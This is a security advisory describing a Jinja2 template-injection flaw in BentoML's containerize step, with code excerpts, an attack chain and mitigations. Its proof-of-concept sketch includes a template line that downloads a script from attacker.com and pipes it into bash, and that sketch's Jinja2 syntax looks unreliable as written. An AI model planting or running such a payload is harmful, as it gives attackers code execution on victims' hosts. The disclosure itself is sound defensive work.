BTC
ETH
SOL
BNB
GOLD
XRP
DOGE
ADA
Back to home
Security

[HIGH] Security Advisory: BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation (bentoml)

BentoML, a popular framework for packaging and deploying machine learning models, ships with a critical vulnerability that lets attackers execute arbitrary Python code on victims' host machines.

BentoML, a popular framework for packaging and deploying machine learning models, ships with a critical vulnerability that lets attackers execute arbitrary Python code on victims’ host machines. The flaw sits in the generate_containerfile() function in src/bentoml/_internal/container/generate.py. It uses an unsandboxed Jinja2 environment with the jinja2.ext.do extension to render user-supplied Dockerfile templates. Import a malicious bento archive and run bentoml containerize, and boom—host RCE, sidestepping all container isolation.

This isn’t theoretical. Attackers craft a bento with a poisoned dockerfile_template in bentofile.yaml. During bentoml build, BentoML copies this template into the archive at env/docker/Dockerfile.template without validation. Victims import the archive via bentoml import bento.tar—still no checks. Then bentoml containerize triggers the render, firing off the SSTI payload directly on the host before Docker even spins up.

Code Breakdown

The smoking gun is lines 155-157 in generate.py:

ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

That jinja2.ext.do enables {% do %} tags for straight Python execution. jinja2.ext.debug leaks engine internals. No sandbox. When generate_containerfile() loads and renders the template at line 202 with template.render(...), attacker code runs wild on the host.

Contrast this with docker.commands or docker.post_commands, which run inside the build container. SSTI hits before that, on bare metal.

Attack Chain

1. Attacker sets dockerfile_template in bentofile.yaml to a malicious Jinja2 file exploiting {% do some_malicious_python() %}.

2. Runs bentoml build; DockerOptions.write_to_bento() in build_config.py copies it blindly:

if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )

3. Exports as .bento or .tar.gz, hosts on S3, GitHub, wherever.

4. Victim imports: bentoml import malicious.bento.

5. Victim containerizes: bentoml containerize. construct_containerfile() spots the template, generate_containerfile() renders it—RCE.

Proof of Concept Sketch

Create evil.template:

{% do import os; os.system("curl -s http://attacker.com/shell.sh | bash") %}
FROM {{ bento_base_template.from }}

Point bentofile.yaml to it, build, export, distribute. Victim hits containerize, fetches and runs your shell script. Scale to keyloggers, ransomware, data exfil—whatever.

Why This Matters

BentoML powers production ML deployments at scale—think startups to enterprises shipping models via archives. Supply chain attacks thrive here: ML repos on Hugging Face, Kaggle datasets, internal shares. One trusted bento from a “colleague” or “open source contrib,” and your infra’s compromised. No CVSS score yet, but this screams 9.8/10—network attack, no privs needed, full host control.

BentoML’s 1M+ PyPI downloads underscore the blast radius. ML teams rush-deploy without auditing every artifact. This echoes SolarWinds or XZ Utils: poisoned upstream binaries.

Skeptical take: Why enable do and debug globally? Jinja2 docs scream “dangerous—sandbox it.” BentoML devs prioritized “flexibility” over security, a classic tradeoff gone wrong. Fair point: custom Dockerfiles are opt-in, but zero validation on import is amateur hour.

Mitigations Now

Audit all imported bentos: grep for Dockerfile.template, scan Jinja2 for do, import, exec. Block untrusted imports. Run containerize in VM/firejail. Patch incoming—BentoML GitHub issue pending, but fork or disable templating:

sed -i 's/extensions=.*"/extensions=[]"/' src/bentoml/_internal/container/generate.py

Long-term: Sandbox Jinja2 (e.g., via RestrictedEnvironment), validate templates statically, sign bentos. If you’re on BentoML 1.2.x or earlier (vuln spans versions), upgrade or ditch custom templates. Test your pipeline—don’t wait for headlines.

April 4, 2026 · 3 min · 14 views · Source: GitHub Security

Related